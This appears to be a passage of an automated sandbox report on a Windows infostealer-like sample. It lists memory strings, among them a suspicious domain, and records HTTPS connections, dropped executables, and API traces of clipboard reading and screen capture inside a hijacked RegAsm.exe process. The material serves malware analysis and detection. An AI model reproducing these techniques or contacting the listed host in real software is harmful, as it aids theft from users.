Source: RegAsm.exe, 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3110452389.000000001BF0D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: JKKEHJ.3.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/xe
Source: RegAsm.exe, 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3110452389.000000001BF0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: JKKEHJ.3.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: RegAsm.exe, 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/vchost.exe
Source: JKKEHJ.3.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: JKKEHJ.3.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: RegAsm.exe, 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3110452389.000000001BF0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: RegAsm.exe, 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/chost.exe
Source: JKKEHJ.3.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: MFDBG.exe, 00000007.00000002.4525807658.0000000002E81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yalubluseks.eu/t

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 5.75.211.162:443 -> 192.168.2.5:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.108:443 -> 192.168.2.5:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.132.32:443 -> 192.168.2.5:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.108:443 -> 192.168.2.5:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.208.139:443 -> 192.168.2.5:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.2:443 -> 192.168.2.5:49757 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 15_2_00437DE0 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

15_2_00437DE0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 15_2_00437DE0 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

15_2_00437DE0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00411F55 CreateStreamOnHGlobal,GetDesktopWindow,GetWindowRect,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GetHGlobalFromStream,GlobalLock,GlobalSize,SelectObject,DeleteObject,DeleteObject,ReleaseDC,CloseWindow,

3_2_00411F55

System Summary

.NET source code contains very large array initializations

Source: file.exe, MoveAngles.cs	Large array initialization: MoveAngles: array initializer size 393216
Source: BFIIEHJDBK.exe.3.dr, MoveAngles.cs	Large array initialization: MoveAngles: array initializer size 357376
Source: 66f4247d51812_lfdsjna[1].exe.3.dr, MoveAngles.cs	Large array initialization: MoveAngles: array initializer size 357376

Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040145B GetCurrentProcess,NtQueryInformationProcess,	3_2_0040145B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0FB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	3_2_6C0FB700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0FB8C0 rand_s,NtQueryVirtualMemory,	3_2_6C0FB8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0FB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	3_2_6C0FB910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C09F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	3_2_6C09F280

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042D903	3_2_0042D903
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042D193	3_2_0042D193
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041C43C	3_2_0041C43C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004194D4	3_2_004194D4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042DCEB	3_2_0042DCEB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042CCFE	3_2_0042CCFE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042D531	3_2_0042D531
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041B6DC	3_2_0041B6DC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0935A0	3_2_6C0935A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C10AC00	3_2_6C10AC00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0D5C10	3_2_6C0D5C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0E2C10	3_2_6C0E2C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C10542B	3_2_6C10542B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0A5440	3_2_6C0A5440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C10545C	3_2_6C10545C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0A6C80	3_2_6C0A6C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0F34A0	3_2_6C0F34A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0FC4A0	3_2_6C0FC4A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0A64C0	3_2_6C0A64C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0BD4D0	3_2_6C0BD4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C09D4E0	3_2_6C09D4E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0D6CF0	3_2_6C0D6CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0AFD00	3_2_6C0AFD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0BED10	3_2_6C0BED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0C0512	3_2_6C0C0512
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0D0DD0	3_2_6C0D0DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0F85F0	3_2_6C0F85F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0E5600	3_2_6C0E5600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0D7E10	3_2_6C0D7E10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0F9E30	3_2_6C0F9E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0E2E4E	3_2_6C0E2E4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0B4640	3_2_6C0B4640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0B9E50	3_2_6C0B9E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0D3E50	3_2_6C0D3E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C106E63	3_2_6C106E63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C09C670	3_2_6C09C670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0FE680	3_2_6C0FE680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0B5E90	3_2_6C0B5E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0F4EA0	3_2_6C0F4EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1076E3	3_2_6C1076E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C09BEF0	3_2_6C09BEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0AFEF0	3_2_6C0AFEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0A9F00	3_2_6C0A9F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0D7710	3_2_6C0D7710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0E77A0	3_2_6C0E77A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C09DFE0	3_2_6C09DFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0C6FF0	3_2_6C0C6FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0A7810	3_2_6C0A7810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0DB820	3_2_6C0DB820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0E4820	3_2_6C0E4820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0B8850	3_2_6C0B8850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0BD850	3_2_6C0BD850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0DF070	3_2_6C0DF070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0C60A0	3_2_6C0C60A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1050C7	3_2_6C1050C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0BC0E0	3_2_6C0BC0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0D58E0	3_2_6C0D58E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0BA940	3_2_6C0BA940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C10B170	3_2_6C10B170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0AD960	3_2_6C0AD960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0EB970	3_2_6C0EB970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0D5190	3_2_6C0D5190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0F2990	3_2_6C0F2990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C09C9A0	3_2_6C09C9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0CD9B0	3_2_6C0CD9B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0D9A60	3_2_6C0D9A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C10BA90	3_2_6C10BA90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C102AB0	3_2_6C102AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0922A0	3_2_6C0922A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0C4AA0	3_2_6C0C4AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0ACAB0	3_2_6C0ACAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0D8AC0	3_2_6C0D8AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0B1AF0	3_2_6C0B1AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0DE2F0	3_2_6C0DE2F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0DD320	3_2_6C0DD320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C095340	3_2_6C095340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0AC370	3_2_6C0AC370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C09F380	3_2_6C09F380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1053C8	3_2_6C1053C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C21AC30	3_2_6C21AC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C206C00	3_2_6C206C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C14AC60	3_2_6C14AC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C19ECD0	3_2_6C19ECD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C13ECC0	3_2_6C13ECC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C2C8D20	3_2_6C2C8D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C20ED70	3_2_6C20ED70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C26AD50	3_2_6C26AD50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1D6D90	3_2_6C1D6D90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C144DB0	3_2_6C144DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C2CCDC0	3_2_6C2CCDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C220E20	3_2_6C220E20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1DEE70	3_2_6C1DEE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1C6E90	3_2_6C1C6E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C14AEC0	3_2_6C14AEC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1E0EC0	3_2_6C1E0EC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C146F10	3_2_6C146F10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C280F20	3_2_6C280F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C202F70	3_2_6C202F70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1AEF40	3_2_6C1AEF40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C288FB0	3_2_6C288FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C14EFB0	3_2_6C14EFB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C21EFF0	3_2_6C21EFF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C140FE0	3_2_6C140FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C190820	3_2_6C190820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1CA820	3_2_6C1CA820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C214840	3_2_6C214840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C2468E0	3_2_6C2468E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C196900	3_2_6C196900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C178960	3_2_6C178960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C2009B0	3_2_6C2009B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1D09A0	3_2_6C1D09A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1FA9A0	3_2_6C1FA9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C25C9E0	3_2_6C25C9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1749F0	3_2_6C1749F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1EEA00	3_2_6C1EEA00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1F8A30	3_2_6C1F8A30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1BCA70	3_2_6C1BCA70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1BEA80	3_2_6C1BEA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1E0BA0	3_2_6C1E0BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C246BE0	3_2_6C246BE0
Source: C:\ProgramData\AFIDGDBGCA.exe	Code function: 6_2_025D0E48	6_2_025D0E48
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Code function: 7_2_011E24D1	7_2_011E24D1
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Code function: 7_2_011E0E48	7_2_011E0E48
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Code function: 7_2_011E6AC9	7_2_011E6AC9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_0040F870	15_2_0040F870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_00401000	15_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_0040A0C0	15_2_0040A0C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_0040E080	15_2_0040E080
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_00415081	15_2_00415081
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_0040B150	15_2_0040B150
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_00431167	15_2_00431167
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_0044A120	15_2_0044A120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_00409269	15_2_00409269
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_004082A0	15_2_004082A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_0043F2AC	15_2_0043F2AC
